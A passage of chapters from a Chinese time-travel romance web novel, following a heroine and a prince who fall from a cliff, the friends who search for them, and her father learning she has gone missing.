就在她手足无措慌乱之际,忽然看到了套在自己手腕上的那只七彩金丝彩玉镯子,心想道“对啊,我原本就不是这个时空里的人,如果死了,是不是就会回到21世纪里去继续活着呢?如果真是这样的话,我便更不能让他陪我一起死了。显然,他已经彻底打动了我,为了我,他那样身份高贵的一个人,可以忍受被人踩在脚下,甚至连自己的命都不要了。我原来,早就已经喜欢上了离奇闯入的这个莫名的平行时空里的这位冰冷王爷,可也正因如此,我便更不能让他陪我一起死了。他必须活着,必须好好的活着……”

思及此,其实她根本就不知道,在这个时空里的死,是否就意味着在原属于自己的时空里就会是生。



切,都只不过是她安慰自己,战胜对即将来临的死亡的恐惧的借口而已。

衣上云忽然似是鼓足了勇气,仰起头来狠狠地对着轩辕翰大声说道“轩辕翰,松手吧。你就不要再自作多情了,我已经有喜欢的人了。他叫魏明轩,是我这辈子最爱的人。你和我,永远都不可能。”

此时听到魏明轩的名字,轩辕翰还是忍不住心中咯噔了一下,手里的动作亦突然间嘎然而止。

然只片刻时间,轩辕翰只怔愣了一下,便又继续开始了手中的动作,并宠溺地对其说道“小骗子,以后对于你对本王所说的每一句话,本王都不会再信你。”

话音刚落,眼见着那侍卫已到了轩辕翰的身旁,正要举剑朝其后心猛刺下来,而正在对轩辕翰已是一脸无奈中的衣上云,一看到便又一次被惊吓地连连尖叫起来“啊,啊,啊……”

而就在这时,易君浩闻声,眼疾手快的瞄准那侍卫的后心,飞剑掷出。

不想,那侍卫却突然踩到了一块岩石,随即脚下一个踉跄,便重重地扑向了悬崖里去,却一把顺势死死地抱住了衣上云的脚腕。

树干瞬间断裂,轩辕翰亦来不及收势,三人连成一线,瞬间一起跌入了悬崖里去……

(本章完)

第一百八十三章:深谷里的紫色“云彩”

眼见着那侍卫不知不觉已悄悄溜到了轩辕翰的身旁,正要举剑朝其后心猛刺下来。而正在对轩辕翰已是一脸无可奈何之中的衣上云,一看到那举剑霍霍而来的侍卫,便又一次被惊吓地连连尖叫起来“啊,啊,啊……”

而就在这时,易君浩闻声,眼疾手快的瞄准了那侍卫的后心,飞剑掷出。

不想,那侍卫却突然踩到了一块岩石,随即脚下一个踉跄,便整个人都重重地扑向了悬崖里去,却一把顺势死死地抱住了衣上云的脚腕。

眼看着轩辕翰的手马上就要越过那树干的断裂处,可以发一猛力。

然就在此刻,那树干被突然加上来的侍卫的重量所负累,“咔嚓嚓”一声巨响,便瞬间断裂。

轩辕翰已然来不及收势,三人顿时连成一线,一起跌入了悬崖里去。

尽管时间正值正午时分,山上烈日当空,然几近笔直的悬崖下的深谷里却是一片云雾弥漫,兀自看不见尽头。

轩辕翰一顺势落下,想都没想便似是本能一般地,即刻置身往下方俯冲而去,很快便将那已被彻底因惊吓过度而晕死过去的衣上云揽腰紧紧地抱住。

他温柔地贴在她的左耳旁,心疼极了的口中喃喃道“不要害怕,本王说过‘不管发生什么,本王都不会松手。’所以,即便是死,本王也会陪你一起。”

话一说完,他便努力地试着在视线极为模糊的笔立崖壁之上,寻找起可以借助的支点来。

而在距离俩人下方的不远处,受拓跋泽蛊惑的那名梦想着要乘人之危,借着杀秦王而扬名天下的近身侍卫,此时正面目狰狞着发出犹如杀猪一般,声嘶力竭的声音,不停地叫唤着“救命啊,救命啊……”

那无助极了的呼救呐喊声,瞬间充斥响彻了整片深谷。

许久后,似是真的喊累了,亦又或者是彻底绝望了。都怪自己既贪心,可又太蠢笨,竟然一次又一次地被拓跋泽设计和利用。

其实,他早已料到,这灵空战神,西秦秦王怎么可能那么容易便被人暗杀。

即便这世上真的有人能有能耐取了他的性命,也绝不可能是如此自不量力卑微的他。

所以,便只是脚下一颗小小的石头,今日竟也能帮那秦王,不费吹灰之力便取了他的性命。这就是天意啊,天意如此,今日乃是天要亡他啊。

后悔已然来不及,他忽然止声下来,抬起头想要寻着与他一起落下悬崖的衣上云和轩辕翰的身影,不想一时间却被眼前的景象惊呆了。

只见他瞬时张开了嘴,瞪大眼睛,朝头顶愣愣地怔望着。

他看到轩辕翰怀里正在紧拥着的衣上云的手腕上,有个什么东西,定睛仔细一看,好像是个镯子,正在源源不断地发出越来越强

的一道道紫色光芒来。

这一道道紫芒竟闪亮的直灼人眼睛,侍卫只能渐渐地将眼睛变成一眨一眨地偷窥。

最后,那镯子所发出的一道道极强的紫色光芒,竟瞬时突然快速地朝俩人脚下流窜聚集,继而合成为了一片似是紫色云彩的模样,将俩人稳稳地托起。

他这才忽然意识到,就凭轩辕翰和衣上云俩人拥在一起的重量,从头顶这么高的悬崖上落下,本应该在自己的下方。可如今,却怎么反而似乎离自己越来越远,他几乎是在直线下降着,可那俩人为何看起来像是漂浮在半空中似的,只缓缓向下。侍卫的心里,纳闷极了。

待他终于反应过来的时候,像是终于发现了一颗救命稻草一般,连忙向上再次大声呼救起来“救命,救命啊,秦王殿下救救我,我知道拓跋泽的一个阴谋,是有关西秦国和南安国的。只要秦王你救救我,我愿意就此归顺西秦,从此以秦王马首是瞻,绝不二心。”

而当正揽着衣上云在视线太过模糊的崖壁上正努力寻找着支点的轩辕翰忽闻此声,暗自想了想,便当即朝下猛一发力。紧接着,那侍卫便仰面朝天,翘首高高地抬起两只手来,死死地抱住了轩辕翰的一只脚。

有了这颗救命稻草,侍卫的心总算是又回到了自己的肚子里了。此时,他终于可以舒展开眉头来,大口地喘一口气。

而这时,悬崖顶上的易君浩,正黯然神伤地屈膝,双膝沉沉地跪在了悬崖边上,那轩辕翰方才伏地趴身着的一片荆棘丛旁边。

那片荆棘上,甚至还在滑落着因扎在轩辕翰身上所留下的滴滴鲜血,可那人却都早已不见了身影。

他似是还不能相信眼前刚刚所发生的这一切都是真的,他的丫头,就连他的死对头,他的情敌,那始终对他高高临上,一脸不屑的轩辕翰,他们就这样瞬间都从自己的眼前消失了。

他曾发誓,不管作为丫头的什么身份,他都一定要护丫头一世周全。可现在,他还能做什么?方才,他为何竟是那样的手足无措,他心里害怕极了,可也无助极了。

他甚至至今都还尚未反应过来,他的丫头究竟是如何从他的面前掉落下去的?

方才明明还在自己眼前挣扎着,同他说话的一个大活人,如今,她到底去了哪里?她真的就这样掉下去了吗?他就这样无情的甚至连一句话也不曾对他留下,便离开他了?

奶娘的悲剧方还无情地萦绕在他的心头,拍击着他的心潮。这会儿,他一直以来看的比自己的生命还要重要的他的丫头,亦就这样瞬间从自己的面前消失不见。

以后,她再也不会出现在他的面前,被他气哭,遭他突然袭来的一个强吻,也被他开怀而笑……

一切的一切,竟瞬间都化做成了一团泡影,从此都将只成为他心底最深亦最美好的回忆。

此时,他那双依旧细长迷人的桃花眼,痴痴地望着眼前这片烟雾缭绕,深不见底的深谷,仔仔细细地寻觅着。只可惜,无论他如何,做再多的努力,始终却什么都没能看到。

半晌后,易君浩忽然似是伤心绝望地缓缓闭起了双眸,眼角悄悄地流下来两行泪水,口中低声喃喃道“丫头,难道我们之间,真的就这样结束了么?我还有很多话未对你说,很多事未对你做,很多……”

而这时,在深山的另一头,一直举剑与拓跋宏的剑术不分上下,俩人剑光霍霍地全力拼搏苦战在一起的程良,眼见着俩人劍招越来越紧,忽然心间咯噔一下,一阵甚是强烈的疼痛感涌上心头,似是预感到了有什么不好的事情发生。

忽然的一个分心,拓跋宏虽然眼疾手快的瞥见,但已然来不及收势。

只见“嗖”的一道白光闪过,那锋利的剑尖便乘势刚好稳稳地扎在了正有些心不在焉的程良的左肩。

拓跋宏大吃一惊,忙抽回手中的长剑,倒转剑柄,又将剑置于自己身后,回头时却见程良的肩上已然早已瞬时渗出来了一大片血迹。

拓跋宏当即收势顿足,惊声喝道“你怎么回事?”

程良似是本能一般地锁紧眉头,迅速地看了一眼自己的伤处,立刻将其用那只持剑的大手捂住,继而抬头望向眼前那正一脸不悦着的拓跋宏,顿感疑惑道“‘胜败乃兵家常事’,二皇子此时却为何突然收手了呢?这时乘机取了程良的性命,岂不更好。”

拓跋宏不屑地笑道“哼,‘趁人之危’算什么英雄好汉?你莫要小瞧了我北烈国人。仅以你一个区区西秦国秦王副将的身手,不想便能接得了本皇子七十余招。可想而知,那灵空战神秦王也不是浪得虚名的,他的剑术,想必一定更是了得了!方才见他那速度,真是让本皇子大吃一惊。如此看来,本皇子的剑术确实是差了。只是,刚才你明明可以躲过本皇子那一剑,且许还会占了上风,却为何在这紧要关头心不在焉地分了心呢?”

程良轻叹口气,心里竟忽然有些庆幸自己对抗的,幸好是这温文尔雅的北烈国二皇子,早就听闻北烈国二皇子尤爱医术,并不喜打斗。如今亲眼一见,果然名不虚传。

若是这会儿与自己交手的是他的亲哥哥,心狠手辣,不择手段的拓跋泽的话,怕是他早已变为一具死尸,躺在他的脚底下了。

一念至此,程良满面忧心地道“素闻二皇子宅心仁厚,深得北烈国国君青睐,亦欲传位于二皇子殿下。如今一见,果然实至名归。只是,今日我家殿下见我家医女深陷险

境,便出手相救。情势危急,不如我们来日再战,先容我们将府上的医女安顿好。其他的事,我们日后再谈,可好?”

拓跋宏好奇地问道“秦王府的医女?你说方才那名本皇子皇兄所看上的西秦女子,她是贵府的医女?可怎么依照本皇子所见,她似乎更像是你们家主子心尖上的人呢?”

“此事…一言难尽,眼下我家主子和府上的医女正在遇险,二皇子,多谢了。告辞!”程良早已心乱如麻,匆匆地抱拳丢下这句话,便顿足双脚一用力点地,“嗖”地一下飞身了出去。

拓跋宏则怔在原地里,一动也不动了。

(本章完)

第一百八十四章:人间正道是沧桑

易君浩悲痛欲绝的双膝跪地了许久,此时真可谓是‘叫天天不应,叫地地不灵’。

于是,一怒之下,他站起来转过身去,忿忿地瞪大了满是仇恨的眼睛,一步一步地缓缓走到拓跋泽的身前,拓跋泽抚着胸口,被这厉色吓得一边跌跌撞撞后退着,一边诚惶诚恐道“你...你想做什么?”

只见易君浩一近身到其身旁,便蹬腿朝其腿腕上大力地一脚,拓跋泽便顺势“扑通”一声,重重地双膝跪在了地上。

然还未待其来得及跪实了,紧接着又被易君浩狠狠地一脚踹翻在地,屁股朝上撅着,脸孔朝下紧紧地贴着地面,瞬间口鼻之中全是泥土,狼狈极了。

然还远远不止,易君浩忽然又伸出两只有力的大手来将其稳稳的向上托起,高高举过头顶。又抬头目视了一下前方,似是锁定了一个位置,随即把他往出用力地一抛,他的整个身子便刚好被架在了前方不远处一株大树的树枝上。

此时,拓跋泽似是已经被惩罚折腾地奄奄一息,喃喃道“要杀要剐,痛快一点!”

然易君浩怎么可能让他如此痛快地便死去。

那个树枝上的位置,恰是眼前最高亦是正在受太阳暴晒最强的地方。

拓跋泽此时,俨然已犹如一头死猪一般,直等着被这午时的焦阳晒断气后,直至晒出油来,晒得全身焦红,晒个十天半个月,便可拔毛开肠破肚,亦或者便就如此直接被暴晒成一只美味可口的烤全猪,引来空中那饥饿至极的秃鹰来,将其一口一口地啄食尽。

为再防他使什么坏,只见易君浩轻轻双脚一点地,便朝拓跋泽的身边飞身了上去。

易君浩蹲身在其眼前,突然伸出两根手指,将此时已完全手无缚鸡之力的拓跋泽点了穴道,顿时他便全身都再也动弹不得。

接着,易君浩又伸手一把扯掉了拓跋泽全身的衣物遮挡,只留给他一条底裤。继而又用他扯下的他的腰带,将其俩只胳膊反过来和树枝一起紧紧地捆绑在一起。

似是这才放了心,纵身一跃,便飞身下树来,背对着他,从头到尾都不曾跟他说一句话一个字,甚至就连目光也不曾和他相对,最后背着身子,朝着悬崖边上再次踱步回去。

拓跋泽看着其远去的背影,竟还妄想着暗自运气,不料身上要穴皆已被封,全身真气受阻,胡乱挣扎了半晌,竟全没半分内力可用。

就在这时,他忽觉身后落下一人,飞快地伸手替其解开了束缚他的穴道。

拓跋泽这才得以猛地回头一看,那人竟是他的亲弟弟拓跋宏。

然他一被拓跋宏帮忙,跃下树来,紧忙穿好衣衫,便又怒目着宠宠欲动地欲想要向悬崖边再次奔去。

“你想做什么?”拓跋宏

急呼。

拓跋泽狠狠地咬牙切齿道“哼,‘士可杀不可辱’,此仇不报,誓不为人。今日,我一定要将这个南安太子亦送上西天,好叫他知道羞辱我北烈皇子的下场,必是叫他死无葬身之地。”

“够了,你还嫌丢人丢的不够么?你现在都这样了,连站都站不稳。难道还能斗得过那南安太子?你莫非真以为他是吃素的?今日,你对西秦秦王胜之不武,若是日后世人皆知是你所为,是你趁人之危,将那西秦秦王……到时候,看你还有何颜面面对世人的悠悠之口。”拓跋宏欲言又止地忿忿训斥道。

“皇弟,你可是我的亲手足,我的亲皇弟啊。如今,你竟不帮我?”拓跋泽难以置信道。

“皇兄,事到如今,你怎么还不明白。若是皇弟我不打算帮你,今日,我便不会出现在西秦国境内,更不会刚才与那西秦秦王动手,牵制他。不是皇弟我不帮你,而是,皇兄你若是光明正大的向那西秦国宣战,皇弟我自是要竭尽所能助阵皇兄,一统天下。可如今,你所做的这一切都只不过是些歪门邪术,都会让世人所不齿的啊!皇兄,听皇弟一次吧,不要再走这些旁门左道了。来日方长,‘人间正道是沧桑’啊!”拓跋宏苦口婆心地劝解道。

拓跋泽听了拓跋宏的这番话,心中定是不肯认同,然自己重伤却已是不争的事实。眼见自己这个死脑筋的弟弟显然不肯出手帮他,他也是无可奈何了。

于是,便就这样被拓跋宏架着悄悄狼狈下山离去。

程良在与拓跋宏的比试中,心里忽觉心神不宁,已然无法全心投入地继续再战。

待一停下来眼下正与拓跋宏进行的这场君子较量后,便头也不回地飞身回到了悬崖边来,这今日里所发生的一切事情,最初开始的地方。

远远的,当他一看到易君浩一人正跪在悬崖边上,一动不动着,而轩辕翰却似是早已不见了身影。

程良心里一急,竟顿时间觉得眼前一花,身子摇摇欲坠了起来,似是将要晕倒。

他立刻顿足稳住身子,将眼睛紧紧闭起又使劲儿挤了挤,继而用力地晃了晃自己的脑袋,方才再次将其张了开来。

只不过眨眼的功夫,感觉似是刚好了一点儿,便口中喃喃地急呼一声“殿下”,紧接着便亦朝易君浩身旁飞奔了过去。

站在易君浩的身旁,程良默默地朝着四周目视张望了半晌,终未发现任何有关于轩辕翰的踪迹。

待他环视过周围,最后疑惑不解地收回所有的视线,望向身旁正痴痴愣愣,黯然神伤,似是又肝肠寸断地双膝跪地着的易君浩时,这才瞥见了易君浩双膝前的那片荆棘丛里的斑斑血迹,仿佛就像是刚刚才有人留下的一般,他的心里

,忽然间害怕极了。

于是,他望着易君浩的眼睛,颤颤巍巍着,怯怯地缓缓问道“易三少,殿下呢?衣姑娘呢?”

易君浩似是即便已是此时,可对于方才所发生在他眼皮子底下的人生惨事,依旧心中耿耿于怀着,难以置信又伤心欲绝,已然无法开口回答他。

然程良却依旧不依不饶,可心里却是越来越害怕。

心里一急,他顿然屈膝蹲身到了易君浩的身旁,凑到其面前,抓着他的肩膀转过身来对视着他的眼睛,提高了嗓门朝其大声呐喊道“易三少,我在问你话,你到底怎么了?说话呀!我家殿下呢?衣姑娘呢?他们到底去哪儿了?”

然易君浩却始终像似丢了魂一般,任其再怒再吼,亦只是自顾自地眼角流着泪水,只斜视着眼旁的那片烟雾缭绕着,什么都看不见的幽幽深谷。

而在这片深谷之中,已不知在空中缓缓向下飘落了多久,山谷里始终依旧是烟雾缭绕,视线模糊,更是找不到亦看不见任何可以倚仗的支点的轩辕翰三人,依旧踩着紫色云彩飘飘荡荡着。

此时,轩辕翰的心里仿佛亦是有些纳闷,为何自己和衣上云紧紧地拥在一起,然却会位处于那拓跋泽的侍卫之上。

就在这时,他忽然低头看了一眼正死死抱着自己脚踝的那名男子。却突然看见了原来此时三人已经距离地面愈来愈近,就连此时自己脚下和眼前四周的视线亦变得愈来愈清晰,缭绕的烟雾已缓缓升至三人的头顶之上。

他忽然看到了悬崖脚下那片狭窄的湖滩,亦看见了那条熟悉的碧绿清澈却深不见底的湖泊。

他的心里顿时一急,可那笔立的悬崖竟真的似是光秃秃的一般,无任何可以让他借力的地方,就算有,他这才清晰的发现,凭他此时与悬崖之间的距离,根本就触及不到。

于是,他只能用力紧紧的抱住了怀里的人儿,乞求上天怜悯,他只要她活着,好好活着。

忽然之间,似是脚下踩着的紫色“云彩”顿时消失不见了,三人便顺势一起极速地向下坠去。

那侍卫突感加速跌落,猛一抬头见那悬崖上的景致不停闪换,方才意识到此时的下落速度已然快出方才数十倍,那紫色云彩也不知何时,早已不知下落,荡然无存。

于是,只听他撕心裂肺般长长的“啊”一身,三人便一起直线跌落,重重的摔在了悬崖脚下的空地上。

那侍卫依旧紧紧的抱着轩辕翰的脚踝,两人一起摔在湖滩上,而衣上云则摔在了轩辕翰身旁不远处,但大半个身子被泡在了清澈碧绿的湖水里。

轩辕翰侧躺在地,无力地看着衣上云的眼睛,视线渐渐变得模糊起来,最后亦缓缓合上了那双冷峻而又

带着些忧伤与不安的眼睛。

程良呆愣了许久,待一意识到易君浩此时的反应,俨然定是轩辕翰和衣上云跌落下这座悬崖里去了。

他瞬时闭上眼睛,摒住呼吸,像是在急急回想着些什么。

片刻后,程良忽地站起身来,一拉起失魂落魄着的易君浩,便朝下山的路急急奔去。

“你要做什么,我要陪丫头,我得陪着她,她一定很害怕,很无助,很孤单。你放开我,我要在这里守着她,看着她,我再也不离开她半步,将她抛下……”易君浩在程良的手里一边挣扎着,一边心疼地说道。

“生要见人,死要见尸,在这里守着有什么用,我带你去找她!”程良坚定道。

易君浩随之大惊一声,道“什么?”

(本章完)

第一百八十五章:他们绝不会短命

程良若有所思着,忽地站起身来,一把拉起失魂落魄着的易君浩,便朝下山的路上急急奔去。

“你要做什么,我要陪丫头,我得陪着她,她一定很害怕,很无助,很孤单。你放开我,我要在这里守着她,看着她,我再也不离开她半步,将她抛下……”易君浩在程良的手里一边挣扎着,一边心疼地说道。

“生要见人,死要见尸,光在这里守着有什么用。我带你去找她!”程良坚定道。

易君浩闻之大惊一声,道“什么?”

“易三少,我们殿下从小到大,吃过多少苦,涉过多少险,经历过多少常人想都想不到的磨难。战场上,有哪次他不是锲而不舍地坚持到最后一刻。哪怕即使拼的自己一身窟窿,到处伤痕累累,哪怕直到最后拼尽了所有力气,累倒在满山遍野数都数不清的敌人尸骨和血泊之中,他亦会留着一口气,等着程良去找他,将他带回西秦大地。即便是那样的九死一生,他都能活下来。程良就不信,有轩辕祖先和太妃的在天之灵庇护着,阎罗王有胆,竟敢真的收了我家殿下的性命。程良更不信,殿下他真的忍心要弃他这么多年来,呕心沥血,一心一意守护着的西秦子民于不顾了?所以,即便是殿下坠入了这万丈悬崖,程良仍然得同过去往常一模一样地去寻他,将他带回城东秦王府,哪怕殿下他真的……可易三少你,你若是以为衣姑娘已经死了,或许…她便会真的死了。然若你也不信,不管是生是死,还想再见她一面,那便跟我走。”

程良蓦然驻足下来,似是生气了一般一把甩开了紧拽着易君浩胳膊的手,深吸口气,皱紧眉头来一边回忆着,一边对其颇为认真地说道。

话一说完,程良便扭头独自离去。易君浩听着程良这番发自肺腑,慷慨激昂的话,一时间竟被这些话震惊呆了。

他从小便是含着金汤匙长大的,什么都不用自己操心。一人之下万人之上,受人膜拜,衣来伸手,锦衣玉食,从未受过苦,更别说上战场了。

南安国的大小战事他亦从来都不关心谁胜谁负,似是他这一辈子都不会触碰一般,可偏偏就是这些俗世重担,就单单落在了他一人的肩上。然除了医药和闲云野鹤的生活,他什么都不在乎,也因此,他便逃了。

唯独遇到衣上云这个丫头,她是突然闯入他生命里的第一个,也是此生唯一的一个异数……

易君浩独自陷入沉思,久久不能自拔,等忽的一回过神来的时候,见程良已然独自走出数丈之远,便飞快地朝其身后纵身追去。

易君浩一追上程良,便将一手搭在他的肩上,含笑信誓旦旦道“我同你一起去,‘生要见人,死要见尸’,我相信,丫头…她绝

不会如此短命的。”

程良闻之,似是受到鼓舞一般,亦高兴地朝其用力一点头,道“对,不是有个词儿叫做‘奇迹’么,我家殿下和衣姑娘都是可怜的人,俗话说‘上天有好生之德’,相信经过这场生死离别之后,他们一定会郎情妾意,‘有情人终成眷属’的。“

岂料易君浩一听这话,忽然间就变了脸色,将那只刚刚还稳稳地搭在程良肩上的手迅速抽回,板起脸来冷哼一声,道“什么‘郎情妾意’?相信存在奇迹就够了,‘有情人终成眷属’,那就免了吧!我家丫头的心思,我易三少定是比谁都清楚。她对你家主子,可根本就从来都没动过那个心思。”

“你家丫头?易三少,你就别老往自己脸上贴金了。衣姑娘什么时候成了你家丫头了,我怎么不知道?这话你在我程良面前说说也就罢了,这要是被我家殿下的耳朵听到了,你可就没这么容易糊弄过去了。我劝你,还是管好你自己的嘴吧……”程良与易君浩一边互掐地争执着,一边继续向山下走去。

“等等,糟了!”不想,俩人都已快到达山下的时候,易君浩忽然驻足惊了一声道。

“怎么了?”程良亦急急顿足下来,看着易君浩,一脸疑惑道。

易君浩道“我怎么把他给忘了?”

“谁啊?”程良道。

“拓跋泽还在那边呢,我一气之下把他搁在树杈上脱光了,让太阳暴晒,打算烤全猪喂秃鹰吃呢?不行,如果是现在这样的话,我必须得先把他留着,如果丫头活着,正好给丫头处置。如果…那我会让他尝尽我易三少的所有独门秘方,让他求生不得,求死不能。”

易君浩一念至此,尚未等话音落下,便又一手撩起袍角,调转回头朝山上急急奔去。

“易三少……”程良说着,也只能深叹了口气,亦纵身急急追了上去。

“人呢?”易君浩一飞身上到方才的那棵大树顶上,东找西找了半晌,却已然不见了拓跋泽的身影。

正在他紧锁眉头着纳闷之际,紧随其后追随而上来的程良,亦蹲身下来看到了他眼前这空空如也的树枝。

易君浩仍难以置信地一边四下里急急寻着,一边纳闷极了地嘴里喃喃自语道“不可能啊,我将他全身的皮囊都扒的一干二净,就差那条底裤了,全都用来将他捆绑在这棵树上了,为防止万一,还特意封了他的全身穴道。实在没理由逃的掉哇!总不见得是大白天里,烈日底下见鬼了吧

第一百八十六章:湖滩上的血岩石

紧跟着程良的脚步七拐八拐的,易君浩忽然抬头望了一下四周,只见头顶的蓝天白云之间,太阳已然西斜,始终从左边射来,便知程良一直是带着自己往北行。

忽然,耳畔似是传来了一阵轰隆轰隆的声音,且越往前走,这声音便更是越来越响。

易君浩跟在程良的身后,心里不禁暗自吃惊起来“莫非前方是怒涛汹涌的激流。”

紧接着,俩人又继续往前奔走了约摸一个时辰的样子,只觉隆隆的相声不绝,忽然有水珠宛若下大雨一般,溅到了他的头脸之上,竟打的他那张妖孽般的俊脸隐隐生疼。

很快,俩人便穿过了这整片漫长的野外丛林带,原本遮天蔽日的林荫亦渐渐变得越来越稀疏,这才发现太阳早已不知落至了何处。

然头顶依旧的大雨却似是越来越大,这时眼前忽然现出来一片极为空旷的圆形地带。

这片圆形地带似更像是一片小岛,周围一圈都被碧绿清澈的湖水所环绕着。

易君浩站在丛林的尽头,面对着眼前的这片空旷,这才看清楚在他左边的一面山崖上,一条大瀑布宛若一条悬空的玉龙一般,滚滚而下,倾入山崖脚下的一座大湖之中。

瀑布不断注入湖水,注入处湖水翻滚,只离得瀑布十余丈距离。

然瀑布注入之后,又从眼前的圆形地带周圈里分为两路,并入右侧的碧水湖中,湖水便一平如镜,清澈异常。

面对这造化的奇景,易君浩只瞧得目瞪口呆。

那碧绿纯净犹如一面镜子的碧水湖,就夹在他此时面前这南北高耸着的两面悬崖之间,整个湖由北向南逐渐变宽。

悬崖的岩石上,偶尔点缀着些许松树,悬崖拥抱着湖岸。然这湖岸却只存在于北面的山崖脚下,且是一片极窄的湖滩,南面山崖的脚,则是完完整整地全部浸泡在湖水之中。

选选望去,随着碧水湖两边的悬崖向北延伸,越来越高。似是左前方竟现出犹如如来佛祖的五指山一般,高不可测的一段几近笔直的悬崖来。

那里的天空,亦渐渐变得似是遮云蔽日一般,头顶尽是烟雾缭绕着,让人瞬间觉得阴森神秘又恐怖凶险起来。

这时,程良忽然仰面朝天,转了一圈,整体目测了一下周围的所有。继而转头看向易君浩的脸,说道“就是这儿了!”

“这…这难道是柳树林东面的那条大河所聚集形成的瀑布……”易君浩抬头看着瀑布上方的地形,吃惊道。

稍作停顿,他顿时瞪大了眼睛,抬手指着远方那片烟雾缭绕,阴暗的天空,惊声道“那是…那是丫头方才所掉落的那座悬崖……”

程良朝其点了点头,眼睛亦瞬时望向了与易君浩相同的地方,然却突然一种隐隐的

恐惧感涌上心头。

“你是怎么知道这个地方的?”易君浩忽然好奇地问。

闻之,程良的眼睛微微扑朔了两下,说道“十几年前,我们主子曾经有个恩人,亦是从这座悬崖上坠落而下。主子为了寻她的尸骨,亲自带着我们无意中发现了这条路。”

“十几年前?那时的轩辕翰最多也就正值换乳牙的年纪吧,莫非是他闯了什么弥天大祸了,他那恩人为了救他才坠落悬崖的?”易君浩叹道。

“胡说,我们殿下怎么可能闯祸,定是太后那帮人……”程良闻言,想起当年的事来一时情急,怒不可遏,气急败坏地口不择言道。

然话刚出口,已然发现自己失言,却是为时已晚,忙低头止住了声。

易君浩心里显然已经很清楚这是怎么回事了,随即抬头望着前方的路,开口道“放心吧,我易三少只喜欢惬意舒心的日子。什么朝堂之争,什么天下霸业,我都不敢兴趣。所以,西秦秦王的心里究竟打的什么主意,我一点儿也不在乎。”

只见二人对着那片天空沉默了片刻,便一起双脚用力点地,飞身越过了湖水的阻拦,直奔向那片阴暗天空下的湖滩而去。

湖水茫茫,冷风凄凄,已近夜幕降临。

眼见着俩人马上就快要寻遍整片湖滩,却依旧不见任何人影踪迹,然这湖滩却已变得越来越窄。

碧水湖两边的悬崖,到了北边的尽头之处,都是没有湖滩的。在那里,有的只是一片水天一色的冰冷地带,冰冷的湖水拍击着同样冰冷的岩石,似是两颗已冰冷了千年万年的同样凉透了的心,倚靠着这唯一的方式互相安慰着取暖一般。

过了那道悬崖尽头所夹着的湖水口,往北亦已不再是西秦国的境土。

眼看着,天真的是黑下来了。

这时,俩人忽然停下了搜索的脚步,几近绝望地并排站在一起,俩个如此伟岸的七尺男儿,在这一刻,却是同样都满脸露着那般无助的眼神,望着远方尽头处的那片白茫茫之色渐渐被这片黑夜所吞噬。

不知站了多久,程良忽然伸手一把拽住了易君浩的胳膊,惊声道“三少快看,那是什么?”

只见在前方的黑夜里,那片尽头之处,似是有个什么东西正摇摇摆摆着立起来。

易君浩抬头一看,想都没想,撒腿便朝其奔去,程良亦飞奔跟上。

“轩辕翰”

&

第一百八十七章:世事果然尽与愿违

是夜,城西衣府的书房里,灯火依旧。

家主衣上坤正端坐在书案边,津津有味地挑灯夜读着那本恩人所赠的医药秘籍。时而口中喃喃自语,时而陷入一片沉思,时而又俯案提笔在纸上书写着些什么。

忽见他似是发现了什么宝贝似的,放下了手里的纸笔,拿起古籍来满脸欣喜道“用北方的‘南烛叶’或者南方‘桐叶’的汁浸米蒸饭,再将米饭晒干,食之。‘南烛叶’具有益精气、强筋骨、明目、止泻之效;‘桐叶’对痈疽、疗疮和创伤出血亦有一定疗效。常食此饭者,便可延寿驻颜。真是‘巾帼不让须眉,妙方济世’啊!妙妙妙,此法真是妙极了,没想到一个年纪轻轻的女流之辈竟能创下如此妙方来。还有这上面的本草录,将一些极为罕见本草的分部、别名、性味、功效、采制、主治、验方等图文并茂,画的如此栩栩如生,记载的如此详尽......如此细致的医药天才,只可惜‘自古红颜多薄命’,实在是可惜,可惜了。”

说着说着,他不禁想起了那一年所发生的事来......

而一想到当年的一幕幕,不禁轻叹了口气,再一次提笔正欲想写些什么。忽然,“咚咚咚”一阵似是有些急促的叩门声响了起来。

衣上坤:“进来”

只见迈步进来的年青女子,正是衣上云的贴身丫鬟,燕儿。一袭水绿色裙装,梳着一头双丫髻,显得甚是活泼灵巧又干净清爽。

然此时,燕儿脸上的神情却似是有些与往日里不同。她紧握着双手,两眼微微红肿,这几日似是瘦了许多。

衣上坤抬头一看似是有些惊讶,随即放下了手里的毛笔,端坐起身来,一手捋着下巴上的那嘬短须,一边望了眼窗外的夜色,已然月上树梢,便问道“怎么是你?这个时辰,你不陪着小姐洗漱更衣歇息,跑来这里做什么?”

哪知衣上坤话音刚落,燕儿竟似是天塌下来了一般,扑通一声,跪倒在了衣上坤的书案前,俯首痛哭起来,哽咽着道“老爷,大事不好了……”

然衣上坤依然镇定自若,一个小丫头,能有什么大事,便懒懒地说道“是不是府里又有人欺负你,给你脸色看了,是二小姐还是大少爷,亦或是兰姨娘?”

燕儿依旧伏首痛哭着摇了摇头。

衣上坤纳闷,又道“不是他们?那如今在这个府里还有谁敢欺负你呢?”

燕儿还是俯首着泣不成声道“是...是...是小姐她......”

不想这时,还尚未待燕儿将话说完,衣上坤便惊声道“难道是小姐的腿疾又复发了?你这个丫头,到底怎么回事,你倒是快点说话啊!”

燕儿怯怯地伏首哭了许久,一次次话到嘴边,却不知该如

何开口。思前想后了半天,终于一咬牙,心一横,脱口说道“是小姐她多日前独自去了城南,至今未归。燕儿刚才...刚才梦到小姐她被人...被人...小姐她坠落悬崖...死了!”

此话一出,衣上坤顿时震怒起身来,心里既惊又忧,一声嘶吼道“你说什么?再说一遍?”

燕儿瞬间被惊吓地整个身子都颤抖了起来,依旧不敢抬头看衣上坤的眼睛,只跪着一边哭,一边重复道“小姐她去了城南,本应今日晌午回府,可却至今都未归。燕儿刚才...刚才梦到小姐她被人...被人...小姐她坠落悬崖...死了!”

“什么?”衣上坤顿时被燕儿的这句话惊呆了。

衣上云在衣府里,一向都是大门不出二门不迈的。经燕儿这么一提醒,衣上坤刚刚想起,确实这几日未曾在府里见过那个丫头了,方才想起衣上云前几日亲自跟自己说过要去城南的这件事。

“会不会是路上有什么事给耽搁了呢?这年关里,车马也未必好找。也许半夜里,或者晚一点儿,她便会回到府里,也未尝不可呢?”沉默着愣了许久后,衣上坤自觉自己向来与人素无仇怨,衣上云又被世人皆视为退了婚的废柴丑女,她亦不再是昏迷前的那般柔弱可欺的性子,于是安慰自己道。

“不不不,老爷,小姐一定出事了,老爷赶快派人去城南寻回小姐吧。或者,或者让燕儿去,对,让燕儿去也行啊。方才晚饭后,少爷他在街上听人说...说...”

